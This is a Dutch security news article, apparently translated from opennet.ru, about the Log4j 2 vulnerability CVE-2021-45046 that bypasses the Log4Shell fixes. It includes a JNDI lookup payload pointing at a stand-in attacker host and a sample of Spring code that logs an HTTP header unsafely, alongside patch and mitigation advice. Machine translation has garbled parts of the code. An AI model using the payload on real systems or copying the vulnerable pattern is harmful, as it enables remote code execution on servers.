Er is nog een kwetsbaarheid geïdentificeerd bij de implementatie van JNDI-lookups in de Log4j 2-bibliotheek (CVE-2021-45046), die verschijnt ondanks de fixes die zijn toegevoegd in release 2.15 en ongeacht het gebruik van de instelling “log4j2.noFormatMsgLookup” voor bescherming. Het probleem is vooral gevaarlijk voor oudere versies van Log4j 2, beschermd met de vlag “noFormatMsgLookup”, omdat het het mogelijk maakt om de bescherming tegen eerdere kwetsbaarheden te omzeilen (Log4Shell, CVE-2021-44228), waardoor u uw code kunt uitvoeren op de server. Voor gebruikers van versie 2.15 is de exploitatie beperkt tot het laten crashen van de applicatie als gevolg van uitputting van de beschikbare bronnen.
Het beveiligingslek komt alleen voor op systemen die Context Lookups gebruiken voor logboekregistratie, zoals ${ctx:loginId}, of MDC-sjablonen (Thread Context Map), zoals %X, %mdc en %MDC. De werking komt neer op het creëren van voorwaarden voor het uitvoeren van gegevens met JNDI-vervangingen naar het logboek bij gebruik van contextquery's of MDC-sjablonen in de toepassing die de regels definiëren voor het opmaken van de uitvoer naar het logboek.
Onderzoekers van LunaSec merkten op dat voor versies van Log4j lager dan 2.15 deze kwetsbaarheid kan worden gebruikt als een nieuwe vector voor een Log4Shell-aanval, wat kan leiden tot het uitvoeren van code, als ThreadContext-expressies die externe gegevens bevatten worden gebruikt in de loguitvoer, ongeacht of de "protect" vlag is ingeschakeld. noMsgFormatLookups" of de sjabloon "%m{nolookups}".
Het omzeilen van de bescherming komt neer op het feit dat in plaats van directe vervanging van “${jndi:ldap://attacker.com/a}”, deze uitdrukking wordt vervangen door de waarde van een tussenliggende variabele die wordt gebruikt in de regels voor het formatteren van loguitvoer . Als bijvoorbeeld de contextquery ${ctx:apiversion} wordt gebruikt bij uitvoer naar het logbestand, kan de aanval worden uitgevoerd door de gegevens “${jndi:ldap://attacker.com/a}” te vervangen door de waarde geschreven naar de apiversion-variabele. Voorbeeld van kwetsbare code: appender.console.layout.pattern = ${ctx:apiversion} - %d{jjjj-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) {// De HTTP-headerwaarde "X-Api-Version" wordt doorgegeven aan ThreadContext ThreadContext.put("apiversion ", apiVersie); // Bij uitvoer naar het logbestand wordt de externe apiversion-waarde verwerkt met behulp van de vervanging ${ctx:apiversion} logger.info("Received a request for APIversion"); retourneer "Hallo wereld!"; }
In Log4j versie 2.15 kan de kwetsbaarheid worden gebruikt om DoS-aanvallen uit te voeren bij het doorgeven van waarden aan de ThreadContext, wat resulteert in een lus in de verwerking van de uitvoerformatteringssjablonen.
Om de kwetsbaarheid te blokkeren zijn updates 2.16 en 2.12.2 gepubliceerd. In de Log4j 2.16-tak is, naast de reparaties die in versie 2.15 zijn geïmplementeerd en de binding van JNDI LDAP-verzoeken aan “localhost”, de JNDI-functionaliteit standaard volledig uitgeschakeld en is de ondersteuning voor berichtvervangingssjablonen verwijderd. Als beveiligingsoplossing wordt voorgesteld om de klasse JndiLookup uit het klassenpad te verwijderen (bijvoorbeeld "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class") .
Je kunt het verschijnen van fixes in pakketten volgen op de pagina’s van distributies (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) en fabrikanten van Java-platforms (GitHub, Docker, Oracle, vmWare, Broadcom en Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, enz.).
Bron: opennet.ru